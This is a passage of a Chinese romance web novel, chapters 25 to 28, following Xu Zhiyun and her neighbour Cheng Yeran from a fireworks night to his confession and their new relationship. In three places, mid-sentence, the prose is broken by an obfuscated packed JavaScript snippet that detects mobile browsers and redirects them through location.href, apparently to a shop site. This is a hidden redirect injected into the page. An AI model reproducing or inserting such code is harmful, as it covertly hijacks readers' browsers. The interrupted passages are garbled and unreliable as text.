与此同时,那对男女也发觉了他的目光,一同望过来。紧接着,许知蕴就听见了对面男人带笑的声音: “……烨然?” 25. 第二十五章 程烨熙,商界年轻有为的精英,今天特意将所有工作都提前安排好,就是想陪妻子去吃这家她肖想已久的餐厅。 没想到吃完饭一出门,就碰上了自己的弟弟。 程烨然十分惊诧:“哥,你怎么在这里?” 程烨熙瞥了他一眼:“你能在这里,我就不能在这里?” 话音落地,他的目光转向许知蕴,温声问道:“你是烨然的朋友吧?” 许知蕴早就从程烨然的一声“哥”中得知了这两人的身份。程烨然的哥嫂嘛! 只是她目前对程烨然还抱着“图谋不轨”的心思,眼前这与见家长有些相似的场合,心里油然而生一股莫名的心虚感。 她点点头:“大哥好,我叫许知蕴,知道的知,蕴含的蕴……” 一旁的江玥笑着朝她挥挥手:“原来是知蕴呀。俊俊和烨然经常提到你。今天一见,果然比他们说的要更漂亮呢。” 许知蕴立马道:“不不不,姐姐,我这根本不算什么,你才是真的漂亮!你简直就是大美人!” 江玥是温婉大气的长相,很具古典美。许知蕴看到她的第一眼,就觉得:哇,这个姐姐真是美得不得了! 江玥一愣,柔柔地笑了。她伸手轻轻捏了捏许知蕴的脸:“嘴太甜了吧,小心被我拐走哦。” 说完,她推了推程烨熙的肩膀,示意他别跟弟弟闲聊了:“电影半小时后就要开场了,我们走吧,别打扰人家吃饭。” “好好好。”程烨熙的语调令人如沐春风。他转过身来,温和地对许知蕴说:“烨然的朋友也是我们的朋友。有空到家里一起吃个饭吧。” 他和江玥常在饭桌上听程烨然说起他那位楼下的邻居朋友,还想着什么时候能够见见面。如今碰见了,未尝不是一种缘分。 许知蕴连忙道:“您太客气了,有机会我一定拜访……” 程烨熙微微笑了笑。 程烨然在一旁问他哥,待会要去看什么电影。不会也是《阳光之下》吧? 程烨熙没回答这个问题,江玥替他回答了。 她从包里拿出两张电影票,理所当然道:“我和你哥好不容易出来约会,当然要看——恐怖片啊!” 她朝许知蕴眨了眨眼睛:“这个导演的恐怖片一直在线,我可是他的忠实粉丝。知蕴要是想要看这类电影尝尝鲜的话,我十分推荐他哦!” * 吃饭的时候,许知蕴感叹道:“原来你哥哥嫂嫂喜欢看恐怖片啊。” 程烨然手里正拿着工具,专心致志地拆螃蟹,“这个我不知道,但他们都很喜欢追求刺激。” 他回忆起小时候惨痛的经历:“他们是在大学里认识的。当时带我去游乐园,专门去玩过山车和鬼屋。在鬼屋里我被吓得够呛,他们就特别开心。” 许知蕴也不喜欢去鬼屋,但她在读书的时候,应聘过鬼屋的NPC。她的职务很简单,就是穿着女鬼服,头上贴着符咒,在游客进到房间时猛地窜出来吓他们一大跳。在她看来,扮鬼可比进鬼屋有意思多了。 “你被吓哭过吗?”她故意问。 “怎么可能。” 程烨然耸耸肩,“去多了也就习惯了。” 拆完蟹,他将盘子推到许知蕴面前。程烨然拆蟹拆得很好,摆盘也很漂亮,比一些许知蕴见过的拆蟹师都做得好。 “谢谢啦。”许知蕴给他殷勤地夹了一块红烧肉,“大师辛苦了!” 她喜欢吃海鲜,但不太会拆螃蟹,每次都是一通乱吃,浪费不少蟹肉。 程烨然笑起来。很清冽的笑声,渗进许知蕴的思绪里。 她絮絮叨叨同程烨然讲了很多:在鬼屋当NPC的经历啦、留学时听不懂本地英语的陌生啦……她本就是个话多的人,此刻的想法是,既然要追人,当然要把自己原原本本地展现出来。 “你知道吗,读研的时候,那个导师事特别多,很严厉的一位老师……不过严师出高徒,她的能力也是真的强。有一次她给我布置论文,我就熬了好几天大夜来写,结果在交论文的最后一天,我把手机放在口袋里,结果——” 程烨然十分配合地问:“结果怎么样?” 许知蕴乐得眯起了眼睛:“结果我误触了,给导师连发了几十个不同的emoji。给她吓坏了,立马给我打电话,说如果我还没写完的话可以第二天再交,她不着急……” 程烨然哈哈大笑。 “你这导师还算好了。”他佯装抱怨道,“我的导师……” 他说,在这位导师手里,很多人延迟几年都毕不了业,他还算是幸运的那个。 他同她讲读书时的趣事。每天坐着电车穿行在城市里;周末同朋友组局喝啤酒;冬天的时候,天气太阴郁了,他和舍友在燃着火的壁炉前,坐在微微摇晃的,铺着柔软绿色绸布的椅子上,一边看赫尔曼·黑塞,一边听电视机里歌手在唱摇滚。 你记得那座大教堂吗?落雪的时候看科隆大教堂,多美啊。 我知道。可惜新加坡是热带国家。我已经很久没看过雪了。 许知蕴很认真地看着他,静静地听着。 时间仿佛回到他们第二次见面的时候。许知蕴记得很清楚,那是第二次的见面。在咖啡馆里,她洋洋洒洒地说了一大段,然后忽然反应过来,问对方:我的话是不是太多了?不好意思啊…… 但程烨然只是摇摇头,说: 没关系,我很喜欢听。 …… 吃完饭时,天色早已暗了下来。 日落后的二十分钟,被称为“蓝调时刻”。这是一天之中最美的时刻,太阳在地平线下负四度到负六度之间,整个天空都是神秘而深邃的蓝。 但现在,那份美丽的蓝调已然过去。映入眼帘的,是车水马龙,川流不息的夜色。这座城市,在白天时充斥着紧张和隐隐激烈的步调,但在晚上,却会罕见地显露它温柔妩媚的一面。 她对程烨然说,我们到江边走走吧。 程烨然说,好。 商场离江堤并不算远。或者说,这条终究会汇入大海的,蜿蜒过城的江,集中了这座城百分之九十的繁华。江这头是璀璨闪耀,游人如织的欢乐灯火,江那头则是鳞次栉比,层层叠叠,将天空分割成无数玻璃碎片的高楼大厦。 它们的投影温柔地倒映在江中,和漫天的繁星一起,时不时被游轮划开一道道寂静无声的涟漪。 今天,江边的游人好像格外地多。大家都挤在栏杆旁,举着手机,似乎在等着什么的到来。 许知蕴奇怪道:“他们在等什么?” 程烨然条件反射般地看了看日历:“……今天也不是什么特殊的节日啊。” 现在是晚上七点五十七分,五月份平平无奇的一天。 许知蕴纳闷:“难道是什么年轻人热衷搞的活动?可是也不大可能在江上举行啊。” “别把自己说得那么老。”程烨然笑笑,“你还年轻着呢。” “别吹捧我。”夜风吹来,许知蕴感受着扑面而来的凉意。和那群等在栏杆旁翘首以盼的游人不同,她和程烨然慢悠悠地走在河堤的人行道旁,十分惬意。 “嘴巴太甜的话,小心被坏人拐走。到时候可没有人来救你哦。” 程烨然好整以暇地问:“那请问小许同志,谁会拐走我呢?” “当然是——” 许知蕴本想说“当然是我啦”,可话还没说完,两人的交谈声就被周围巨大的欢呼声淹没了。 她停下了脚步,侧过头,看见在波光粼粼的江面之上,在深沉而无言的夜空之中,伴随着人们的欢呼声与相机的快门声,色彩各异的烟花依次在空中绽放。 一朵一朵,闪着金光,丝绒般的夜空成了陪衬。那一簇簇橙红与金紫的色彩交融,似乎要流泻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067602|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而下,极具浓烈,如同马蒂斯的油画,又像是碎掉的星星。 “……今天放烟花?”她喃喃道。 程烨然在手机上飞快地搜索了一下,随后弯下腰来,将手机屏幕朝向她:“说是今晚八点,在这里有一场烟花秀。” 两人都没说话,一时无言,只是抬头看着天空中此起彼伏升起的,这些游走的光线。 混杂着浓墨重彩的夜光,和这座城里无数明亮的灯火,在皎洁的月亮下,缤纷地四散开来,仿佛一场童话故事的幻梦。 “真漂亮。”许知蕴说,“在落雪的海德堡和慕尼黑,也能看见这样的景色吗?” 她深爱这座城市的重要原因,除开人文风情之外,还有它的地理位置。不是每一座城市都能拥有河流与大海的。 她的眼睛里倒映着绚烂的星辰。 程烨然笑了。他的声音很愉快,顺着夜风传过来。“那边的烟花秀可没有这么壮观。” 许知蕴沉默了一会,忽然走到了栏杆边上。他们已经沿着铺满月光的,湿漉漉的河堤走了一段距离。此时这片栏杆旁没什么人。 她对程烨然说:“可以帮我拍张照片吗?就当是纪念。” 她说这话的时候,脸上掠过一丝灵动的狡黠。她很希望在程烨然的手机里,能够保存一张她的照片。 “乐意效劳。” 程烨然找好了位置,微微蹲下来,调整自己的构图和角度。许知蕴其实不怎么会摆动作,万年不变,只会比一个“耶”。她歪着头,扬起嘴角,索性什么姿势都不摆了,只是很随意地靠在那里。 她看向手机。 她或许知道,或许不知道。在她看着摄像头的时候,拍照的人,也透着屏幕看着她。他们的目光就这样交汇。 程烨然按下了拍摄键。 就在这时,一朵最最硕大的烟花在空中绽放了,连带着夜晚的风,吹起她的发丝和白色的衣裙。她的周身似乎闪着莹莹的光,令人挪不开眼睛。 程烨然一瞬间有片刻的失神。 拍完照,他将照片给许知蕴看,问还需不需要再拍。许知蕴看了一眼,说,你这拍得太棒啦! 她又笑着说,作为交换,我也给你拍一张怎么样? 程烨然失笑,应下了。 他们的手机里都留存下了彼此的照片。在同一个地点,在同一个夜晚。 他们又沿着河堤往回走。夜晚将它的温柔悉数吐露。细细的波涛,苍白色的月亮,烟花的余晖。静谧又深情,热烈又寂寞。人群渐渐散去,喧闹声也随风而逝了。 “……好想快点到冬天啊。”许知蕴说。 “哎?为什么呢?” “我现在很想吃关东煮。冬天吃关东煮才是最幸福的。夏天太热了。如果这里能下雪就好了。再往北一点就会下雪,可惜我们差了一点。” “我记得十几年前,好像也下过一点小小的雪吧。” 程烨然回想起当年。早上醒来,父母对他们说,快去看呀,下雪了。他和程烨熙就冲出去,看见天上飘着小小的雪花。可惜实在太小了,一落到手心里,就融化成了水。 “太小啦。”许知蕴也记得当年那场上了报纸的雪,“吃着火锅,窝在家里看电视。看完了,就去睡觉。钻到暖和的棉被里,太舒服了。可惜这里没有供暖呢。” “太冷了耳朵会长冻疮。”程烨然说。 “也是哦,不仅会长冻疮,脸上也会很干……” 他们好像没有别的话可谈了,只是抓住某一点,漫无目的地闲聊。 但在这样似乎没有边际的闲聊之中,心里仿佛格外有一种稀碎的絮语,沉入灵魂,随后扩散到一整片的居民区、河流以及更遥远的天空。这样的絮语,谁也不知道它的根源究竟在何处,然而谁也没有拒绝这样的存在。 那是一种隐秘而心照不宣的欣喜,通达到人的四肢百骸之中。 26. 第二十六章 五月底,许知蕴将自己那辆在车库里吃灰的SUV开出来,去城西国际机场接美滋滋度假归来的父母。 她帮着将行李提到后备箱里,随后一脚油门,风驰电掣,来到早已讨论好的那家心心念念的烧烤店里。许父许母豪气干云地点了一堆,随后在等着上菜的时间里,就开始询问自己的女儿,追人的计划进行得怎么样了? 许知蕴抿了抿嘴,“不怎么样。” 许母问:“你有没有偷偷牵他的手?” “……没有。” “有和他保持每天聊天吗?” “嗯……线上和线下都勉强算……保持着。” “对他说一些扰乱人心的情话呢?” 许知蕴犹疑道:“说了一些……不知道算不算?” 那天晚上之后,许知蕴继续频繁地在程烨然面前出现,刷存在感。隔三差五以“回礼”的名义送送小礼物、一起约去看《傲慢与偏见》的英文版演出、甚至在路过卖花的小贩时,许知蕴还给程烨然买了一束紫色的风铃花。 她还记得程烨然收到花时的神情。 先是一愣,随后捧着花,似笑非笑地问:“这也是回礼?还是出于你的私心?” 许知蕴说:“两者都有。” 可程烨然却继续追问:“那么,是‘回礼’更多一些,还是‘私心’更多一些?” “……私心。”许知蕴很诚实地回答了。 “什么样的私心呢?” “你觉得它是什么样的,它就是什么样的。” 程烨然听了她的回复,然后很慢很慢地笑起来。笑声中仿佛有种呼之欲出的东西。 …… 许母听她说完,只觉得自己的女儿在情感方面是不是不够开窍。 “你这也太隐晦了!”她恨铁不成钢,“照你这样,距离追到人还远得很。” 许知蕴撇撇嘴,“妈,我这叫有自己的节奏。” 于是,在接下来的时光里,许知蕴一边吃烧烤,一边竖起耳朵听许母给出的建议。许父在旁边说,隐晦一点才好,追人也得矜持一点的。许母拉过许知蕴,说不要理你爸,我们那个年代,可比现在要热情大胆多了。一顿无辣不欢的烧烤吃完,许知蕴送父母回家,耳朵里不仅全是对追人计划的补充,还莫名吃了一嘴父母辈的爱情狗粮。 找了个停车位,她帮着父母把行李箱提上台阶。许母问她,今晚要不要在这里睡呀? 许知蕴摇摇头:“妈,我改天再来找你们。我手头上还有工作呢,今天的任务还没完成。” 许父说:“那好吧。开车回去记得注意安全。” “爸,放心吧。” 许父站在台阶上,脸上忽然浮现出复杂交织的神色。他伸出手,摸摸许知蕴的头,叹了一口气,“你长大了呀。” 许母也凑过来:“小蕴早就长大了。如今也学会追人了呀。以前读书的时候,还是乖乖女来着。我问你,谈恋爱了吗?你特别害羞,都不肯回答我们。” 她呵呵笑起来:“我们也不阻止你早恋啊,对不对?” 许知蕴板起脸佯装严肃道:“两位老板,今时不同往日了。” 在居民楼柔和的灯光下,许母看着自己的女儿,忽然轻声说:“小蕴,虽然我们不干涉你的情感生活,但……我们希望你的判断没有错。” 每个人都是要独自生活的。 她拉住许知蕴的手。“我们希望,无论你做出什么选择,最后的终点一定要是幸福。不需要世俗化的条框,你只需要感到幸福就够了。” 许知蕴动了动嘴唇,什么也没说。她闭起眼睛,将妈妈的手贴在自己的脸颊上。 * 许知蕴深深觉得这样下去不是个办法。 她感觉自己的精神分裂成了两半:一半用来工作,另一半则用来思考程烨然。 思考程烨然这个人的一举一动。 就像一个侦探,妄图从蛛丝马迹中下手,一点点找寻到真心的踪迹。 但侦破之路是艰难的。 陈美芝和她打电话时懒洋洋道:“其实我觉得他喜欢你。不如勇敢冲上去?” “……真的假的?” “真的。”陈美芝搬出自己过来人的架势,“我当军师的次数比谈恋爱的次数要多得多,相信我。” 许知蕴不甘示弱:“你之前不是说有个暧昧对象吗?怎么样了?” 电话那头的女声听起来十分得意:“当然是——已经谈上了。” 许知蕴简直不敢置信。“那么快!”她叫道。 陈美芝笑了笑:“小蕴,你和程烨然又认识了多久呢?爱情有的时候是看命运的。” 许知蕴泄气了。她承认,在这些方面,陈美芝比她更懂。她趴在桌上,对着绿色的三只小恐龙们发呆。“那……”她迟疑道,“你的意思是,让我直接去跟他表白?” “对。” 许知蕴其实想要反驳这个提案。但由来已久,影影绰绰,她的内心有一种冲动。她已经不满足于只是在这个不近不远的地方观望他了。倘若这有一条河,她就想跳过去,抓住河对岸的那个人的手,他们可以贴得如此之近,然后再也不放开。 她在电话这头沉默了十几秒。最后,她忽然用同那天“我要追求他”一模一样的热烈语气,对陈美芝说:“你说得对。” 她的脸上又晕染出玫瑰色的酡红,眼睛很亮,嗓音很坚决:“我得去告诉他。我不想再等待未知的结局了。” 这既在陈美芝的意料之中,却也在她意料之外。 她忍不住从沙发上坐起来,给自己开了一瓶红酒。 “小蕴。”她说,“我原本以为你还要花更长的时间,才会做出这个决定。” 玻璃杯里的红酒,荡漾出莹莹的光辉。“我也有过像你一样的心情,那么迫切地想要抓住一个人,一点也不去想结局的好与坏。后来我知道了,这样的心绪其实是一种迫不及待。” “我不认为这种感觉有什么不好。因为你的心已经迫不及待地想要得到他了。” * 她精挑细选了一个周末的晚上。 周五,她给程烨然发了微信,问他明晚在不在家。自己网上买了一箱子的油桃,太多了吃不完,想分一点给他。 这话倒是不假。许知蕴买了两箱油桃,一箱填父母的地址,一箱买给自己。油桃个大脆甜,只是卖家实在太实诚,塞了满满一箱子,冰箱都有点放不下。 程烨然回复:[我在。你可以随时敲门。] 许知蕴左手捧着手机,右手拿着刚洗干净的油桃,看见他的回复,非常欣喜地啃了一大口。 她还想再说什么,但是在手机上敲敲打打半天,愣是一句话也没发出去。 她第一次痛恨微信上显示“对方正在输入中”的功能。 程烨然估计也是看到了上边的“对方正在输入中”,给她发来一条消息:[怎么了?] [没什么。]许知蕴连忙回复,[我只是觉得乌鸦像写字台。] 消息发过去的三秒钟之后,许知蕴这才意识到自己在紧张和走神之下说了什么。她连忙长按撤回。 但还是被看到了。 程烨然:[……乌鸦像写字台?] 看来程烨然没看过《爱丽丝梦游仙境》。许知蕴松了口气。 许知蕴:[嗯……这是英国人喜欢玩的某种猜谜游戏,谜底必须是一语双关。因为乌鸦和写字台都可以产生‘note’,而这个单词又有笔记和音符的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067603|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双重含义,所以乌鸦就像写字台啦。] 许知蕴不由得感谢自己在当年没少看某些闲书,没想到上边的冷门知识有朝一日还能被用到。虽然是用来圆一个破绽甚多的谎。 过了好一会,对面的信息才传来。 程烨然:[原来是这样。] 不知为何,许知蕴的脑海里闪过对方说这句话时的面部表情。他好像知道什么,却又同她一样默契地装作不知道。 许知蕴熟练地转移话题。他们漫无目的地聊了几句,随后她借口自己要忙着写译稿了,便结束了聊天。 最后一句,她说的是:[明天一定要等我来啊!] 说完,她就熄灭了手机屏幕。 她翻箱倒柜,找来个结实的塑料袋,将一半的油桃小心翼翼地放进袋子里。 晚上,她做了个梦。 梦里是他们看烟花的那个夜晚。他们沿着月光照耀下的河流行走。她看见一群洁白的飞鸟掠过她的头顶,然后奔向远处。他们扇动的翅膀仿佛带起一阵龙卷风。 许知蕴忽然停下了脚步。她转过身,看着旁边的人。她拽了拽他的袖子,轻声说:“可不可以低一下头?” 那人笑了笑,声音好像变成了江面上一圈圈的涟漪,令人心悸。 他说,好啊。随后就低下头来,一双眼睛亮晶晶的,比纯度最高的宝石还要光艳夺目。 在他俯身下来的一刹那,她的手忽然抚摸上他的脖颈。她将手放在他的后脑勺,慢慢扣住,两人的距离逐渐靠近。她在他的眼睛里看见了自己,背靠夜空,穿着白色的裙子,头发被风吹得有些散乱,但这些都没关系。 他们的距离越来越近,就在唇边即将相触的一刹那—— 闹钟响了。 许知蕴一个激灵,从床上坐起来,一把抄起手机把闹钟按掉。 现在已是早上八点。 ……如果闹钟再晚几秒响起就好了。她面无表情的穿起拖鞋,摇摇晃晃地走到卫生间洗漱。 这样她能知道在梦里接吻究竟是什么滋味了。 许知蕴默默地将手机上的闹铃往后调了两分钟。 …… 洗漱完,她走到厨房,朦胧着一双睡眼给自己做早餐。又是怒煎三个荷包蛋。 目光扫过厨房里那个看起来格外结实,与世无争的塑料袋,许知蕴才勉勉强强回过神来。 ——对哦,今天是她找程烨然告白的日子。 她一瞬间清醒了。 晚上还有这么一件大事要干呢。 此时此刻,她只觉得浑身充满了干劲。她快速煮了早餐,边吃边听英文博客,吃完饭便打开电脑,翻开词典,继续她暗无天日的翻译工作。她双眼发亮,手指在键盘上噼里啪啦,感觉今天的工作非常顺利,有源源不断的灵感从内心冒出,到了下午四点,她已经超额完成了今天的任务。 伸了一个懒腰,简单地做些手部锻炼动作,许知蕴哼着歌儿给自己煮饭。厨房里那个装满油桃的袋子乖乖地立在原处,许知蕴凑过去,看了看里边滚圆可爱的油桃们,低声道:“我的告白计划就靠你们啦,最好争气点。” 油桃们在袋子里玩叠叠乐,根本不搭理她。 晚上七点,她提着袋子,一路模拟着告白时自己要说的话。 她来到802,深吸一口气,敲响了程烨然的门。 门开了。她搓了搓手:“嗨——” 她刚想把袋子递过去,顺便践行她的告白宣言。 但这一切都在她抬头看见程烨然的时候顿住了。 “程烨然——” 这人脚步有些虚浮,面色苍白,嘴唇和脸颊却泛着不正常的薄红。 她看了看他的脸,紧声问:“你发烧了?” 27. 第二十七章 “……发烧?” 程烨然显然是身处状况外。 他用手背靠了靠自己的额头,“好像是有点烫……” 许知蕴凭借多年来她的生病经验,就知道程烨然现在肯定不是“有点烫”那么简单。哪有人发低烧烧得眼睛通红的? “你还是先测测体温吧。”她换上程烨然给她准备的拖鞋,将手里的袋子放在桌上。程烨然的反应慢了半拍,想要帮她提袋子,却被许知蕴推着去找体温针,“我这没多重,你先去量体温。你可是设计师啊,烧坏脑子怎么办?” 程烨然来到书房,在书桌的抽屉里翻了好一阵,才找到体温针。许知蕴在门口朝里边望去,看见书桌上还亮着屏幕的电脑和一大堆散乱的草稿纸。 看起来,书房的主人一定在这里坐了很久,忙了很久。 许知蕴也有过类似经历。熬夜工作的后果就是抵抗力下降,等终于交了稿,她才发现自己的胃一抽一抽的疼,赶忙去买了胃药。后边不放心,又跑去医院检查。检查结果是没什么问题,只要日后不要再出现饮食不规律和生物钟紊乱的问题就行。 程烨然晃了晃水银温度计,夹在胳膊下。 他朝同他一起坐在沙发上的许知蕴笑笑,将茶几上那盒曲奇饼干推到她面前:“无聊的话先吃点饼干吧。” 由于夹着体温针的是右手,他用的是左手。 “还有,谢谢你送来的油桃。”他说,“看起来很好吃。” 许知蕴伸手拿了一块饼干。黄油风味,甜丝丝的。 “我昨天吃了两个。有甜的也有一般的。”她说,“注意鉴别啊。就算都是红色的也会有不好吃的。” 她抬眼看了眼时间。 六分钟后,程烨然拿出体温针,对着光看了好几眼。 她问:“多少度?” 程烨然的声音小得简直像是怕她听见:“嗯……三十八度。” 许知蕴狐疑地看着他,随后伸手拿过体温针。 她眯起眼睛看了看。 “你是真烧糊涂了。”她叹了口气,“程烨然同志,你现在是三十九度五。身体可是革命的本钱。” 三十九度五,再烧下去要直奔四十度了。 程烨然只好起身去翻找退烧药。幸好那天在某团买了药,不然至少要耽误十几分钟。吃了药,他被许知蕴推去了卧室,在床上躺好,盖好了被子。 现在是夏天,他终于后知后觉地感受到自己在一阵一阵地发冷。许知蕴倚靠在门旁,低头看着他,轻声说:“睡吧。发烧就是这样,睡一觉就好了。” 程烨然感到自己的眼皮子在打架。他眨了眨眼睛,将因为发烧而产生的生理性泪水擦掉。他很困,眼前模糊,记忆从工作跳到发烧,再跳到许知蕴身上。他看见她在门边,就在一个不远不近的距离,只要他伸出手来,或许就能够到。 “许知蕴。”他说,“谢谢你。只是……” “你回去吧”四个字,他发现自己很难说出来。他的脑子有些晕乎乎的,像是整个世界都在旋转,但其中的某一点又异常清晰。 许知蕴多聪明啊,她一下子就猜出了程烨然想要说什么。 “你乖乖躺着。”她微微地勾了勾唇角,“你这个药的起效时间比较快。等药起作用了我再走。我在客厅坐会,顺便蹭蹭你家的网。” 她退了出去,替程烨然关上了门。 一片寂静的黑暗席卷了他。 …… 她回到客厅,坐在沙发上,吃了好几块曲奇小饼干——嗯,蔓越莓味的最好吃。吃完后,她开了一局游戏。没什么东西要比游戏更加消磨时间。 这是一个城建类游戏,她指挥着手下的小人修建马路,建造工厂。马路是建好了,可是总塞车,她不得不仔细研究,看看怎样放交通信号灯。放完了,效果不好,又得拆了重装。她和这块十字路口掰扯来掰扯去,发现总是逃不过塞车的命运,索性不玩了。 关掉手机,她环顾四周。 橱柜里的小玩意们依旧静悄悄地坐着。她把目光投向窗外,透过落地窗,她看见一轮月亮。 她走过去,看见月亮的光,温柔地垂坠下来。 她想着,今天肯定是无法告白了。一场突发事件,渐渐将人心里的热度熄灭。倘若让程烨然现在好端端地站在她面前,她感觉自己也说不出心里所想的话来。 还是下次再说吧。 她计划着,要找下一个周末,约他出来,是吃饭还是喝咖啡,还没想好。或者直接约到小区楼下,在树荫底下的长椅?在那里她还可以即兴发挥,采几朵美丽的花送给他。 想到这里,她才发现自己今天既然没带一束花来。表白送花,多浪漫啊。没有人收到花会不高兴吧? 不过转念一想,她又很庆幸。幸好没买花,不然今天还不知道怎么收场呢。她在原地走了几步,又重新将目光投到窗外的月亮上。它的柔光如同一层薄雾,将许知蕴的心灵轻盈地穿透了。 …… 在那一瞬间,她听见了脚步声。 她回过头,发现是程烨然走了出来。他穿着家居服,头发毛毛躁躁的,脸上还有被压出的红痕,一看就是刚睡醒的样子。 “退烧了?”她问。 “嗯。不烧了。”他指了指手上的体温针,“我刚测了,已经恢复正常。” 许知蕴点点头。 过了几秒,她说:“那我走了,晚安。” 她说完这句话,心里猛然传来一阵怔忪。 她知道,只要出了门,今天就这样结束了。她曾经以为今天会或浪漫或伤感,结果好像只是闹了一个告白的乌龙而已。 许知蕴走向玄关。她的脑子里充满了无关紧要的思绪。人在这个时候,总是会想一些遥远得没有边际的事情。 她想起昨晚上做的梦,那是一个未竟的吻,尽管是虚幻,却比那些真实的更深刻。她想起月光下一地碎金的河堤、艺术展、桌面上的小恐龙、然后是酒吧里昏暗的灯光。她曾和朋友开玩笑似的说过,酒吧里遇见挚爱的桥段,她只在小说里见过。每个人都会转身离开,在一刹那中,谁又能抓住谁的手呢? 比如现在—— 可就在这时,一只手却伸了过来,以一种轻柔却无法拒绝的,似乎要深入骨髓的力度, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14069060|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将她的手握住了。 许知蕴能感受到指骨与指骨之间的碰撞。明明覆盖着一层柔软的皮肤,可就是觉得仿佛触到的是坚硬的,微凉的钻石。 他的手多凉啊。 她愣在原地,脸上闪出错愕,回过头,望着他。 她看见了程烨然的眼睛。由于刚退烧,眼尾还泛着薄红。在他那双深邃的眼睛里,她看见了她的倒影。 “我——” 程烨然开口,才发现自己的声音有几分干涩。但他仍然迎上许知蕴的目光,缓慢地说,“我并不是只是因为今天,才一时冲动的。” 许知蕴的目光落在他们交握的手上。抛弃了先前所有的绅士风度,握得那么紧。 他继续说:“我从来没有想过会遇见你。我……在感情上似乎有些一窍不通。只是在和你认识,甚至成为朋友后,我的脑海中总是会浮现出你的样子。在吃饭的时候,东西很好吃,我在想,一个人吃就没意思了。下小雨的时候,我想着有人和我一起撑伞就好了。我想着,我能常常在晚上见到你,然后你和我打招呼,那样的夜晚,那样的场景。就算你不朝我打招呼,而是从我的余光里走过,我都觉得非常好。” 深吸一口气,他的身躯终于由微微的发抖变为平静。 “前几天,我又走在河堤边上。那个时候,我却不觉得自己是孤独一人。我想着,在之前,有一个人陪我一起走过,我们一起看烟花,还拍了照——我从很久之前就明白了,原来这就是‘爱情’的感觉。” “你是一个无拘无束的人,就像风筝,我不知道我该怎么做,是变成一只鸟,还是……对不起,我的大脑有点混乱,只是我想要问你,你愿不愿意、愿不愿意——” 可他还没说出来,许知蕴却颤抖着,坚决地打断了他。 “不用再说了。” 她紧紧握住他的手,以同样的力气回握住他,拉过他,两人一起跌跌撞撞地落入同一个拥抱。 她想象过很多告白的场景。 在盛开着桃花的树下,或者在潺潺的流水的旁边。 但从没想过像现在这样。她一切的计划似乎都宣告失败。在一个周六的夜晚,在他的客厅里,在将走未走的时刻,甚至说出那句话的人,也并不是她。 然而,生活的美丽,就在于未来都是不可控制的,你明明尝试着扭转,它却还是向着另一个方向发展。因为在这艘船上,掌舵的是两个人。 “——我可以做你男朋友吗?” 他问。 许知蕴闭了闭眼睛。 “当然了。”她回答。 她能感受到自己说话的时候,情不自禁地笑了笑。 在现代都市里,罗曼蒂克这个东西,是藏得很深的。我们可以说捧着花在宿舍楼下表白是其中一种,也可以说在此时此刻,两个人的拥抱是另一种。 时间仿佛静止了。 寂静的氛围蔓延开去,整个世界似乎都安谧下来。 在程烨然的肩膀上,许知蕴又看见了落地窗外的那一弯月亮。 于是,她轻快道:“程烨然,今晚的月亮实在太好了。你看到了吗?” 28. 第二十八章 几天后。 许知蕴瘫在程烨然的书房里吃水果。 桌上放着电脑和打开的词典,那一串串的长句仿佛粘在她视网膜上,许知蕴现在两眼昏花,根本不想看见任何一个英文字母。 吃完油桃,她走到冰箱旁,从里边拿了一盘葡萄出来。这葡萄还是她和程烨然晚上散步时在路边看到的。买完葡萄,他们路过便利店,看见从炉子上冒出腾腾的热气。许知蕴闻到了烤红薯的香味,两人又走进店里,买了一个大红薯,掰开来一人一半。 程烨然在底下垫了两张纸巾,这才不至于烫手。 许知蕴说:“大夏天吃烤红薯,好热啊。” “你吃得蛮欢畅的嘛。” 许知蕴拿到的那半烤红薯个头比较大,但她现在已经快吃完了。 “因为很好吃。”许知蕴擦了擦嘴,“虽然烤红薯很适合在冬天吃,但如果只在冬天才能吃的话,太可惜了。” 说完,她又戳了戳程烨然,“身上都是红薯味。” 程烨然面无表情,干巴巴地棒读道:“啊,被嫌弃了。” 许知蕴很放肆地笑起来。 “可是很甜啊。”她转过身。应该是湿垃圾吧?许知蕴犹豫了一秒,将红薯皮丢进垃圾桶里。随后他们继续走回家,在路灯下,接了一个带着甜蜜气息的吻。 接吻的时候,时间是慢下来的。 他们拉着彼此的手。程烨然用左手提着葡萄,右手拉着她。他们其实没有吻多久,几秒后就轻轻放开了。但许知蕴仍然觉得仿佛过了好几分钟。 等到了台阶上时,许知蕴偏过头去,对程烨然说:“冬天我们再来吃烤红薯吧。” 程烨然笑着说:“好。” …… 其实已经过去好几天了,但许知蕴仍然觉得很是新奇。 她住进了程烨然的家。 